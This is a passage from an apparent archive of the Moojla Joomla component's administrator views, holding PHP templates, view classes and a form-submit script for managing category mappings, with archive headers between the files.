\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
	$saveOrderingUrl =
'index.php?option=com_moojla&task=categories_map.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'category_mapList',
'adminForm', strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=categories_map');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
<?php
	// Add the searchtools
	echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
	<div class="alert alert-no-items">
		<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
	</div>
<?php else : ?>
	<table class="table table-striped"
id="category_mapList">
		<thead><?php echo
$this->loadTemplate('head');?></thead>
		<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
		<tbody><?php echo
$this->loadTemplate('body');?></tbody>
	</table>
	<?php // Load the batch processing form. ?>
	<?php if ($this->canCreate && $this->canEdit) : ?>
		<?php echo JHtml::_(
			'bootstrap.renderModal',
			'collapseModal',
			array(
				'title' =>
JText::_('COM_MOOJLA_CATEGORIES_MAP_BATCH_OPTIONS'),
				'footer' =>
$this->loadTemplate('batch_footer')
			),
			$this->loadTemplate('batch_body')
		); ?>
	<?php endif; ?>
	<input type="hidden" name="boxchecked"
value="0" />
	</div>
<?php endif; ?>
	<input type="hidden" name="task" value=""
/>
	<?php echo JHtml::_('form.token'); ?>
</form>
views/categories_map/tmpl/default_batch_body.php000064400000002341151165724410016160
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>

<p><?php echo
JText::_('COM_MOOJLA_CATEGORIES_MAP_BATCH_TIP'); ?></p>
<?php echo $this->batchDisplay;
?>views/categories_map/tmpl/default_batch_footer.php000064400000002736151165724410016531
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_footer.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('category_map.batch');">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/categories_map/tmpl/default_body.php000064400000007611151165724410015024
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

$edit =
"index.php?option=com_moojla&view=categories_map&task=category_map.edit";

?>
<?php foreach ($this->items as $i => $item): ?>
	<?php
		$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
		$userChkOut = JFactory::getUser($item->checked_out);
		$canDo =
MoojlaHelper::getActions('category_map',$item,'categories_map');
	?>
	<tr class="row<?php echo $i % 2; ?>">
		<td class="order nowrap center hidden-phone">
		<?php if ($canDo->get('core.edit.state')): ?>
			<?php
				$iconClass = '';
				if (!$this->saveOrder)
				{
					$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
				}
			?>
			<span class="sortable-handler<?php echo $iconClass;
?>">
				<i class="icon-menu"></i>
			</span>
			<?php if ($this->saveOrder) : ?>
				<input type="text" style="display:none"
name="order[]" size="5"
				value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
			<?php endif; ?>
		<?php else: ?>
			&#8942;
		<?php endif; ?>
		</td>
		<td class="nowrap center">
		<?php if ($canDo->get('core.edit')): ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('grid.id', $i, $item->id); ?>
					<?php else: ?>
						&#9633;
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('grid.id', $i, $item->id); ?>
				<?php endif; ?>
		<?php else: ?>
			&#9633;
		<?php endif; ?>
		</td>
		<td class="nowrap">
			<div class="name">
				<?php if ($canDo->get('core.edit')): ?>
					<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
$this->escape($item->jcatid); ?></a>
					<?php if ($item->checked_out): ?>
						<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time,
'categories_map.', $canCheckin); ?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo $this->escape($item->jcatid); ?>
				<?php endif; ?>
			</div>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->mcatid); ?>
		</td>
		<td class="center">
		<?php if ($canDo->get('core.edit.state')) : ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'categories_map.', true,
'cb'); ?>
					<?php else: ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'categories_map.', false,
'cb'); ?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'categories_map.', true,
'cb'); ?>
				<?php endif; ?>
		<?php else: ?>
			<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'categories_map.', false, 'cb'); ?>
		<?php endif; ?>
		</td>
		<td class="nowrap center hidden-phone">
			<?php echo $item->id; ?>
		</td>
	</tr>
<?php endforeach;
?>views/categories_map/tmpl/default_foot.php000064400000002304151165724410015030
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_foot.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<td colspan="6"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/categories_map/tmpl/default_head.php000064400000004755151165724410014776
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_head.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<?php if ($this->canEdit&& $this->canState): ?>
		<th width="1%" class="nowrap center
hidden-phone">
			<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
		</th>
		<th width="20" class="nowrap center">
			<?php echo JHtml::_('grid.checkall'); ?>
		</th>
	<?php else: ?>
		<th width="20" class="nowrap center
hidden-phone">
			&#9662;
		</th>
		<th width="20" class="nowrap center">
			&#9632;
		</th>
	<?php endif; ?>
	<th class="nowrap" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_CATEGORY_MAP_JCATID_LABEL', 'a.jcatid',
$this->listDirn, $this->listOrder); ?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_CATEGORY_MAP_MCATID_LABEL', 'a.mcatid',
$this->listDirn, $this->listOrder); ?>
	</th>
	<?php if ($this->canState): ?>
		<th width="10" class="nowrap center" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_CATEGORY_MAP_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
		</th>
	<?php else: ?>
		<th width="10" class="nowrap center" >
			<?php echo JText::_('COM_MOOJLA_CATEGORY_MAP_STATUS');
?>
		</th>
	<?php endif; ?>
	<th width="5" class="nowrap center hidden-phone"
>
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_CATEGORY_MAP_ID', 'a.id',
$this->listDirn, $this->listOrder); ?>
	</th>
</tr>views/categories_map/tmpl/default_toolbar.php000064400000007061151165724410015530
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_toolbar.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<div id="filter-bar" class="btn-toolbar">
        <div class="filter-search btn-group pull-left">
            <label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
            <input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Categories_map'); ?>" />
        </div>
        <div class="btn-group pull-left">
            <button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
            <button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
            <?php echo $this->pagination->getLimitBox(); ?>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
            <select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
                <option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
                <option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
            </select>
        </div>
        <div class="btn-group pull-right">
            <label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
            <select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
                <?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
            </select>
        </div>
    </div>
<div class="clearfix">
</div>views/categories_map/tmpl/index.html000064400000000054151165724410013641
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/categories_map/view.html.php000064400000015507151165724410013327
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Moojla View class for the Categories_map
 */
class MoojlaViewCategories_map extends JViewLegacy
{
	/**
	 * Categories_map view display method
	 * @return void
	 */
	function display($tpl = null)
	{
		if ($this->getLayout() !== 'modal')
		{
			// Include helper submenu
			MoojlaHelper::addSubmenu('categories_map');
		}

		// Assign data to the view
		$this->items = $this->get('Items');
		$this->pagination = $this->get('Pagination');
		$this->state = $this->get('State');
		$this->user = JFactory::getUser();
		// Load the filter form from xml.
		$this->filterForm = $this->get('FilterForm');
		// Load the active filters.
		$this->activeFilters = $this->get('ActiveFilters');
		// Add the list ordering clause.
		$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
		$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
		$this->saveOrder = $this->listOrder == 'a.ordering';
		// set the return here value
		$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
		// get global action permissions
		$this->canDo = MoojlaHelper::getActions('category_map');
		$this->canEdit = $this->canDo->get('core.edit');
		$this->canState =
$this->canDo->get('core.edit.state');
		$this->canCreate = $this->canDo->get('core.create');
		$this->canDelete = $this->canDo->get('core.delete');
		$this->canBatch = $this->canDo->get('core.batch');

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
			$this->sidebar = JHtmlSidebar::render();
			// load the batch html
			if ($this->canCreate && $this->canEdit &&
$this->canState)
			{
				$this->batchDisplay = JHtmlBatch_::render();
			}
		}
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}

	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JToolBarHelper::title(JText::_('COM_MOOJLA_CATEGORIES_MAP'),
'file-2');
		JHtmlSidebar::setAction('index.php?option=com_moojla&view=categories_map');
		JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');

		if ($this->canCreate)
		{
			JToolBarHelper::addNew('category_map.add');
		}

		// Only load if there are items
		if (MoojlaHelper::checkArray($this->items))
		{
			if ($this->canEdit)
			{
				JToolBarHelper::editList('category_map.edit');
			}

			if ($this->canState)
			{
				JToolBarHelper::publishList('categories_map.publish');
				JToolBarHelper::unpublishList('categories_map.unpublish');
				JToolBarHelper::archiveList('categories_map.archive');

				if ($this->canDo->get('core.admin'))
				{
					JToolBarHelper::checkin('categories_map.checkin');
				}
			}

			// Add a batch button
			if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
			{
				// Get the toolbar object instance
				$bar = JToolBar::getInstance('toolbar');
				// set the batch button name
				$title = JText::_('JTOOLBAR_BATCH');
				// Instantiate a new JLayoutFile instance and render the batch button
				$layout = new JLayoutFile('joomla.toolbar.batch');
				// add the button to the page
				$dhtml = $layout->render(array('title' => $title));
				$bar->appendButton('Custom', $dhtml, 'batch');
			}

			if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
			{
				JToolbarHelper::deleteList('',
'categories_map.delete', 'JTOOLBAR_EMPTY_TRASH');
			}
			elseif ($this->canState && $this->canDelete)
			{
				JToolbarHelper::trash('categories_map.trash');
			}
		}

		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('categories_map');
		if (MoojlaHelper::checkString($help_url))
		{
				JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}

		// add the options comp button
		if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
		{
			JToolBarHelper::preferences('com_moojla');
		}

		// Only load published batch if state and batch is allowed
		if ($this->canState && $this->canBatch)
		{
			JHtmlBatch_::addListSelection(
				JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
				'batch[published]',
				JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
			);
		}
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_('COM_MOOJLA_CATEGORIES_MAP'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/categories_map.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 50)
		{
			// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key
and display text as value
	 */
	protected function getSortFields()
	{
		return array(
			'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
			'a.published' => JText::_('JSTATUS'),
			'a.jcatid' =>
JText::_('COM_MOOJLA_CATEGORY_MAP_JCATID_LABEL'),
			'a.mcatid' =>
JText::_('COM_MOOJLA_CATEGORY_MAP_MCATID_LABEL'),
			'a.id' => JText::_('JGRID_HEADING_ID')
		);
	}
}
views/category_map/submitbutton.js000064400000002751151165724410013463
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		submitbutton.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

Joomla.submitbutton = function(task)
{
	if (task == ''){
		return false;
	} else { 
		var action = task.split('.');
		if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
			Joomla.submitform(task, document.getElementById("adminForm"));
			return true;
		} else {
			alert(Joomla.JText._('category_map, some values are not
acceptable.','Some values are unacceptable'));
			return false;
		}
	}
}views/category_map/tmpl/edit.php000064400000011404151165724410012773
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		edit.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
	// waiting spinner
	var outerDiv = jQuery('body');
	jQuery('<div id="loading"></div>')
		.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
		.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
		.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
		.css("width", outerDiv.width())
		.css("height", outerDiv.height())
		.css("position", "fixed")
		.css("opacity", "0.80")
		.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
		.css("filter", "alpha(opacity = 80)")
		.css("display", "none")
		.appendTo(outerDiv);
	jQuery('#loading').show();
	// when page is ready remove and show
	jQuery(window).load(function() {
		jQuery('#moojla_loader').fadeIn('fast');
		jQuery('#loading').hide();
	});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">

<div class="form-horizontal">

	<?php echo JHtml::_('bootstrap.startTabSet',
'category_mapTab', array('active' =>
'details')); ?>

	<?php echo JHtml::_('bootstrap.addTab',
'category_mapTab', 'details',
JText::_('COM_MOOJLA_CATEGORY_MAP_DETAILS', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo
JLayoutHelper::render('category_map.details_left', $this); ?>
			</div>
			<div class="span6">
				<?php echo
JLayoutHelper::render('category_map.details_right', $this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>

	<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
	<?php $this->tab_name = 'category_mapTab'; ?>
	<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>

	<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'category_mapTab', 'publishing',
JText::_('COM_MOOJLA_CATEGORY_MAP_PUBLISHING', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo
JLayoutHelper::render('category_map.publishing', $this); ?>
			</div>
			<div class="span6">
				<?php echo
JLayoutHelper::render('category_map.publlshing', $this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php if ($this->canDo->get('core.admin')) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'category_mapTab', 'permissions',
JText::_('COM_MOOJLA_CATEGORY_MAP_PERMISSION', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span12">
				<fieldset class="adminform">
					<div class="adminformlist">
					<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
						<div>
							<?php echo $field->label; echo $field->input;?>
						</div>
						<div class="clearfix"></div>
					<?php endforeach; ?>
					</div>
				</fieldset>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php echo JHtml::_('bootstrap.endTabSet'); ?>

	<div>
		<input type="hidden" name="task"
value="category_map.edit" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</div>
</form>
</div>
views/category_map/tmpl/index.html000064400000000054151165724410013331
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/category_map/view.html.php000064400000015410151165724410013010
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

